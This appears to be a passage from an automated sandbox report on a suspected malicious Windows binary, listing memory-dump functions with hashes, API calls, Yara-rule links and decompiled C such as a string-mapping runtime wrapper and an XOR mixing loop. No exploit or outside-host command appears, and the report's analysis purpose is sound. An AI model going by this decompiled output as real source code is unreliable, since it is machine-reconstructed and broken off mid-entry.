                                        0x00403048
                                        0x0040304a
                                        0x0040304d
                                        0x0040304d
                                        0x00403051
                                        0x00403051
                                        0x00000000
                                        0x00403036
                                        0x00000000
                                        0x00403053
                                        0x00403055
                                        0x00403055
                                        0x00403062
                                        0x00403062
                                        0x00403072
                                        0x00402f30
                                        0x00402f3d
                                        0x00402f3d

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                        • Instruction ID: cff114a85fcb8f5deb46d81d22c4208fa3965af46b01a687ebeadebabb5a60ab
                                        • Opcode Fuzzy Hash: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                        • Instruction Fuzzy Hash: 9A31D8302052028BE738CE19C954BEBB3B5AFC0349F44883ED986A73C4DABDD945D795
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02083170, Relevance: .1, Instructions: 103COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                        • Instruction ID: d80f92516154d7f5c267aa73386b55b2e38095c510ad651ced9c35b8f4ccb353
                                        • Opcode Fuzzy Hash: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                        • Instruction Fuzzy Hash: 493183316043818BEB79EB29C8917EBB3E1ABC0F58F44C96CC9D687240E775E445D792
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00402F89, Relevance: .1, Instructions: 77COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E00402F89(signed int __eax, void* __edi, char _a12, char _a140, signed int _a276, signed int _a280) {
				signed int _t28;
				signed int _t30;
				signed int _t31;
				unsigned int _t34;
				unsigned int _t35;
				signed int* _t36;
				signed int* _t37;
				signed int* _t38;
				signed int* _t39;
				signed int _t40;
				signed int _t41;
				void* _t43;
				void* _t45;
				signed int _t46;
				signed int _t48;
				void* _t49;
				signed int _t60;
				signed int _t70;

				_t28 = __eax;
				while(1) {
					_t34 =  *(_t49 + _t43 + 0xc);
					_t46 = 0;
					_t38 =  &_a12;
					if(_t34 != 0) {
					}
					L3:
					do {
						if((_t34 & 0x00000001) != 0) {
							_t46 = _t46 ^  *_t38;
						}
						_t34 = _t34 >> 1;
						_t38 =  &(_t38[1]);
					} while (_t34 != 0);
					L7:
					 *(_t49 + _t43 + 0x8c) = _t46;
					_t43 = _t43 + 4;
					if(_t43 < 0x80) {
						do {
							_t34 =  *(_t49 + _t43 + 0xc);
							_t46 = 0;
							_t38 =  &_a12;
							if(_t34 != 0) {
							}
							goto L7;
						} while (_t43 < 0x80);
					}
					_t30 = _a280;
					if((_t30 & 0x00000001) != 0) {
						_t41 = 0;
						_t37 =  &_a140;
						if(_t28 != 0) {
							do {
								if((_t28 & 0x00000001) != 0) {
									_t41 = _t41 ^  *_t37;
								}
								_t28 = _t28 >> 1;
								_t37 =  &(_t37[1]);
								_t60 = _t28;
							} while (_t60 != 0);
						}
						_t28 = _t41;
					}
					_t31 = _t30 >> 1;
					if(_t60 != 0) {
						_t45 = 0;
						do {
							_t35 =  *(_t49 + _t45 + 0x8c);
							_t48 = 0;
							_t39 =  &_a140;
							while(_t35 != 0) {
								if((_t35 & 0x00000001) != 0) {
									_t48 = _t48 ^  *_t39;
								}
								_t35 = _t35 >> 1;
								_t39 =  &(_t39[1]);
							}
							 *(_t49 + _t45 + 0xc) = _t48;
							_t45 = _t45 + 4;
						} while (_t45 < 0x80);
						if((_t31 & 0x00000001) != 0) {
							_t40 = 0;
							_t36 =  &_a12;
							if(_t28 != 0) {
								do {
									if((_t28 & 0x00000001) != 0) {
										_t40 = _t40 ^  *_t36;
									}
									_t28 = _t28 >> 1;
									_t36 =  &(_t36[1]);
									_t70 = _t28;
								} while (_t70 != 0);
							}
							_t28 = _t40;
						}
						_a280 = _t31 >> 1;
						if(_t70 != 0) {
							_t43 = 0;
							continue;
						}
					}
					return _t28 ^ _a276;
				}
			}





















                                        0x00402f89
                                        0x00402f90
                                        0x00402f90
                                        0x00402f94
                                        0x00402f96
                                        0x00402f9c
                                        0x00402f9c
                                        0x00000000
                                        0x00402fa0
                                        0x00402fa3
                                        0x00402fa5
                                        0x00402fa5
                                        0x00402fa7
                                        0x00402fa9
                                        0x00402fac
                                        0x00402fb0
                                        0x00402fb0
                                        0x00402fb7
                                        0x00402fc0
                                        0x00402f90
                                        0x00402f90
                                        0x00402f94
                                        0x00402f96
                                        0x00402f9c
                                        0x00402f9c
                                        0x00000000
                                        0x00402f9c
                                        0x00402f90
                                        0x00402fc2
                                        0x00402fcc
                                        0x00402fce
                                        0x00402fd0
                                        0x00402fd9
                                        0x00402fe0
                                        0x00402fe2
                                        0x00402fe4
                                        0x00402fe4
                                        0x00402fe6
                                        0x00402fe8
                                        0x00402feb
                                        0x00402feb
                                        0x00402fe0
                                        0x00402fef
                                        0x00402fef
                                        0x00402ff1
                                        0x00402ff3
                                        0x00402ff5
                                        0x00403000
                                        0x00403000
                                        0x00403007
                                        0x00403009
                                        0x00403012
                                        0x00403017
                                        0x00403019
                                        0x00403019
                                        0x0040301b
                                        0x0040301d
                                        0x00403020
                                        0x00403024
                                        0x00403028
                                        0x0040302b
                                        0x00403036
                                        0x00403038
                                        0x0040303a
                                        0x00403040
                                        0x00403042
                                        0x00403044
                                        0x00403046
                                        0x00403046
                                        0x00403048
                                        0x0040304a
                                        0x0040304d
                                        0x0040304d
                                        0x00403042
                                        0x00403051
                                        0x00403051
                                        0x00403055
                                        0x0040305c
                                        0x00402f85
                                        0x00000000
                                        0x00402f85
                                        0x0040305c
                                        0x00403072
                                        0x00403072

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                        • Instruction ID: 40597224e526abc728bb10992f322fa75c91b34d76fbbe6bc80328d1c420bfc2
                                        • Opcode Fuzzy Hash: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                        • Instruction Fuzzy Hash: F321923170520247EB68C929C9547ABB3A5ABC0389F48853EC986A73C8DAB9E941D785
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 020831D9, Relevance: .1, Instructions: 77COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                        • Instruction ID: c766d7570a12aafdf8fe79b12b17f61d4119d6964fd86845a98cf95d1cc6a393
                                        • Opcode Fuzzy Hash: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                        • Instruction Fuzzy Hash: 54218E3160438187EBAAEB29C8917EBB3E1ABC0E18F48C56CCDD686250E735E041D792
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02080D90, Relevance: .0, Instructions: 38COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
                                        • Instruction ID: b87f11172217982f377683f106acc9c500ed95bb0d92ab2d42b708a4986eea35
                                        • Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
                                        • Instruction Fuzzy Hash: 85F0C276A007049FDB22DF24D805BAE73FAFB84216F0441A4D84AD7241E330E94A8B50
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00417081, Relevance: 31.8, APIs: 21, Instructions: 340COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 86%
                                        			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0xc6ef2cbe
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}











































                                        0x00417089
                                        0x00417090
                                        0x00417098
                                        0x0041709a
                                        0x004170a0
                                        0x004170a6
                                        0x004170bb
                                        0x004170c5
                                        0x004170cb
                                        0x004170ce
                                        0x004170d0
                                        0x004170d0
                                        0x004170bd
                                        0x004170bd
                                        0x004170bd
                                        0x004170bb
                                        0x004170dd
                                        0x00417101
                                        0x00417101
                                        0x00417109
                                        0x004172bb
                                        0x004172be
                                        0x004172c1
                                        0x004172c4
                                        0x004172cb
                                        0x004172cb
                                        0x004172ce
                                        0x004172d1
                                        0x004172d8
                                        0x004172d8
                                        0x004172de
                                        0x004172e4
                                        0x004172e7
                                        0x004172ea
                                        0x004172f3
                                        0x004172f6
                                        0x004173ef
                                        0x004173f1
                                        0x004173f1
                                        0x004173f4
                                        0x004173f6
                                        0x004173f9
                                        0x004173fe
                                        0x004173ff
                                        0x00417402
                                        0x00417404
                                        0x00417406
                                        0x00417409
                                        0x0041740b
                                        0x0041740c
                                        0x00417411
                                        0x00417409
                                        0x00417412
                                        0x00000000
                                        0x00417412
                                        0x00417309
                                        0x0041730e
                                        0x00417311
                                        0x00417314
                                        0x00417316
                                        0x00000000
                                        0x00000000
                                        0x0041732a
                                        0x0041732c
                                        0x0041732f
                                        0x00417331
                                        0x0041733a
                                        0x00417379
                                        0x00417379
                                        0x00417379
                                        0x0041737b
                                        0x0041737b
                                        0x0041737d
                                        0x00000000
                                        0x00000000
                                        0x00417384
                                        0x0041739c
                                        0x0041739e
                                        0x004173a1
                                        0x004173a3
                                        0x004173bf
                                        0x004173c1
                                        0x004173c9
                                        0x004173cb
                                        0x004173cb
                                        0x004173a5
                                        0x004173a5
                                        0x004173a5
                                        0x004173cf
                                        0x00000000
                                        0x004173d4
                                        0x0041733c
                                        0x0041733f
                                        0x00000000
                                        0x00000000
                                        0x00417341
                                        0x00417344
                                        0x00417349
                                        0x00417362
                                        0x00417368
                                        0x0041736a
                                        0x0041736c
                                        0x00417372
                                        0x00417372
                                        0x00417372
                                        0x00417375
                                        0x00000000
                                        0x00417375
                                        0x0041734b
                                        0x00417350
                                        0x00417352
                                        0x00417354
                                        0x00000000
                                        0x00000000
                                        0x00417356
                                        0x0041735c
                                        0x00000000
                                        0x0041735c
                                        0x00417333
                                        0x00417333
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00417117
                                        0x0041711a
                                        0x004172ec
                                        0x004172ec
                                        0x00417414
                                        0x00417425
                                        0x00417425
                                        0x00417120
                                        0x00417126
                                        0x0041712d
                                        0x0041712d
                                        0x00417130
                                        0x00417153
                                        0x00417155
                                        0x00417157
                                        0x00000000
                                        0x0041715d
                                        0x0041715d
                                        0x004171a2
                                        0x004171a2
                                        0x004171a5
                                        0x004171a8
                                        0x00000000
                                        0x00000000
                                        0x004171c1
                                        0x004172aa
                                        0x004172ad
                                        0x004172b2
                                        0x00000000
                                        0x004172b5
                                        0x004171c7
                                        0x004171db
                                        0x004171dd
                                        0x004171e2
                                        0x00000000
                                        0x00000000
                                        0x004171ef
                                        0x0041721a
                                        0x0041721c
                                        0x00417263
                                        0x00417263
                                        0x00417263
                                        0x00417265
                                        0x00417265
                                        0x00417267
                                        0x00417277
                                        0x0041727d
                                        0x0041727f
                                        0x00417281
                                        0x00417282
                                        0x00417283
                                        0x00417286
                                        0x0041728c
                                        0x0041728f
                                        0x00417288
                                        0x00417288
                                        0x00417289
                                        0x00417289
                                        0x004172a0
                                        0x004172a0
                                        0x004172a4
                                        0x004172a9
                                        0x00000000
                                        0x00417267
                                        0x00417222
                                        0x00417223
                                        0x00417225
                                        0x00417228
                                        0x00000000
                                        0x00000000
                                        0x0041722a
                                        0x0041722a
                                        0x0041722e
                                        0x00417233
                                        0x0041724c
                                        0x00417252
                                        0x00417254
                                        0x00417256
                                        0x0041725c
                                        0x0041725c
                                        0x0041725c
                                        0x0041725f
                                        0x00000000
                                        0x0041725f
                                        0x00417235
                                        0x0041723a
                                        0x0041723c
                                        0x0041723e
                                        0x00000000
                                        0x00000000
                                        0x00417240
                                        0x00417246
                                        0x00000000
                                        0x00417246
                                        0x004171f4
                                        0x00417213
                                        0x00417213
                                        0x00000000
                                        0x004171f4
                                        0x00417163
                                        0x00417164
                                        0x00417169
                                        0x00000000
                                        0x00000000
                                        0x0041716b
                                        0x0041716b
                                        0x00417174
                                        0x0041718a
                                        0x00417190
                                        0x00417192
                                        0x0041719d
                                        0x0041719d
                                        0x00000000
                                        0x0041719d
                                        0x00417194
                                        0x0041719a
                                        0x0041719a
                                        0x00000000
                                        0x0041719a
                                        0x00417176
                                        0x0041717b
                                        0x0041717f
                                        0x00000000
                                        0x00000000
                                        0x00417181
                                        0x00000000
                                        0x00417181
                                        0x00417157
                                        0x00417109
                                        0x004170df
                                        0x004170e2
                                        0x004170e5
                                        0x004170e5
                                        0x004170e8
                                        0x00000000
                                        0x00000000
                                        0x004170ea
                                        0x004170ed
                                        0x00000000
                                        0x00000000
                                        0x004170ef
                                        0x00000000
                                        0x004170ef
                                        0x004170f7
                                        0x004170fb
                                        0x004170fd
                                        0x004170fd
                                        0x004170fe
                                        0x00000000

                                        APIs
                                        • LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
                                        • GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,020E1868), ref: 004170C5
                                        • MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
                                        • _malloc.LIBCMT ref: 0041718A
                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
                                        • LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
                                        • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
                                        • _malloc.LIBCMT ref: 0041724C
                                        • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
                                        • __freea.LIBCMT ref: 004172A4
                                        • __freea.LIBCMT ref: 004172AD
                                        • ___ansicp.LIBCMT ref: 004172DE
                                        • ___convertcp.LIBCMT ref: 00417309
                                        • LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
                                        • _malloc.LIBCMT ref: 00417362
                                        • _memset.LIBCMT ref: 00417384
                                        • LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
                                        • ___convertcp.LIBCMT ref: 004173BA
                                        • __freea.LIBCMT ref: 004173CF
                                        • LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
                                        • String ID:
                                        • API String ID: 3809854901-0
                                        • Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
                                        • Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
                                        • Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
                                        • Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 020972D1, Relevance: 22.8, APIs: 15, Instructions: 340COMMON
                                        Download Yara Rule
                                        APIs
                                        • LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 02097303
                                        • GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00423620), ref: 02097315
                                        • _malloc.LIBCMT ref: 020973DA
                                        • _malloc.LIBCMT ref: 0209749C
                                        • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 020974C7
                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 020974EA
                                        • __freea.LIBCMT ref: 020974F4
                                        • __freea.LIBCMT ref: 020974FD
                                        • ___ansicp.LIBCMT ref: 0209752E
                                        • ___convertcp.LIBCMT ref: 02097559
                                        • _malloc.LIBCMT ref: 020975B2
                                        • _memset.LIBCMT ref: 020975D4
                                        • ___convertcp.LIBCMT ref: 0209760A
                                        • __freea.LIBCMT ref: 0209761F
                                        • LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 02097639
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: String__freea_malloc$___convertcp$ByteCharErrorLastMultiWide___ansicp_memset
                                        • String ID:
                                        • API String ID: 2918745354-0
                                        • Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
                                        • Instruction ID: 8d0226523f4a2d969407db2d6bd83ce7ce5007b2542809b927da429eb697c3be
                                        • Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
                                        • Instruction Fuzzy Hash: 2BB19DB3910219AFDF629FA4CC809EEBFB6EB09314B148129F916A2170D731C951FF90
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00433C50, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 158timeCOMMON
                                        Download Yara Rule
                                        APIs
                                        • GetFileAttributesA.KERNEL32(00000000), ref: 00433CA9
                                        • GetConsoleAliasA.KERNEL32(?,00000000,00000000,00000000), ref: 00433CBE
                                        • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 00433CC8
                                        • GlobalFindAtomW.KERNEL32(00000000), ref: 00433CCF
                                        • FindAtomW.KERNEL32(00000000), ref: 00433CD6
                                        • GetModuleHandleExW.KERNEL32(00000000,00000000,?), ref: 00433CEE
                                        • GetCurrentProcessId.KERNEL32 ref: 00433CFD
                                        • FileTimeToLocalFileTime.KERNEL32(?,00000000), ref: 00433D0B
                                        • SetTimeZoneInformation.KERNEL32(00000000), ref: 00433D37
                                        • SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00433D98
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488187064.0000000000433000.00000020.00020000.sdmp, Offset: 00433000, based on PE: false
                                        Similarity
                                        • API ID: Time$File$AtomFindLocal$AliasAttributesConsoleCurrentGlobalHandleInformationModuleProcessSpecificSystemZone
                                        • String ID: xl_
                                        • API String ID: 1414830312-2537523252
                                        • Opcode ID: 0107d1a99337cfeb57ce4239180f9624f966527b3381bd6c281a0005a9def794
                                        • Instruction ID: ba2fc9bac4dff70f5b4f8f69c220d701b20723d41f5a9755c776f13875104b6b
                                        • Opcode Fuzzy Hash: 0107d1a99337cfeb57ce4239180f9624f966527b3381bd6c281a0005a9def794
                                        • Instruction Fuzzy Hash: 8B5173B5801314DBE710EF76AC85A6B777CFB49316F0064BAF506A2252D6388D44CF6D
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02090825, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMON
                                        Download Yara Rule
                                        APIs
                                        • GetModuleHandleW.KERNEL32(KERNEL32.DLL,00421320,0000000C,02090960,00000000,00000000,?,00000001,0208C216,0208B97C), ref: 02090837
                                        • __crt_waiting_on_module_handle.LIBCMT ref: 02090842
                                          • Part of subcall function 0208E9BA: Sleep.KERNEL32(000003E8,00000000,?,02090788,KERNEL32.DLL,?,020907D4,?,00000001,0208C216,0208B97C), ref: 0208E9C6
                                          • Part of subcall function 0208E9BA: GetModuleHandleW.KERNEL32(00000001,?,02090788,KERNEL32.DLL,?,020907D4,?,00000001,0208C216,0208B97C), ref: 0208E9CF
                                        • __lock.LIBCMT ref: 0209089D
                                        • InterlockedIncrement.KERNEL32(?), ref: 020908AA
                                        • __lock.LIBCMT ref: 020908BE
                                        • ___addlocaleref.LIBCMT ref: 020908DC
                                        Strings
                                        Memory Dump Source
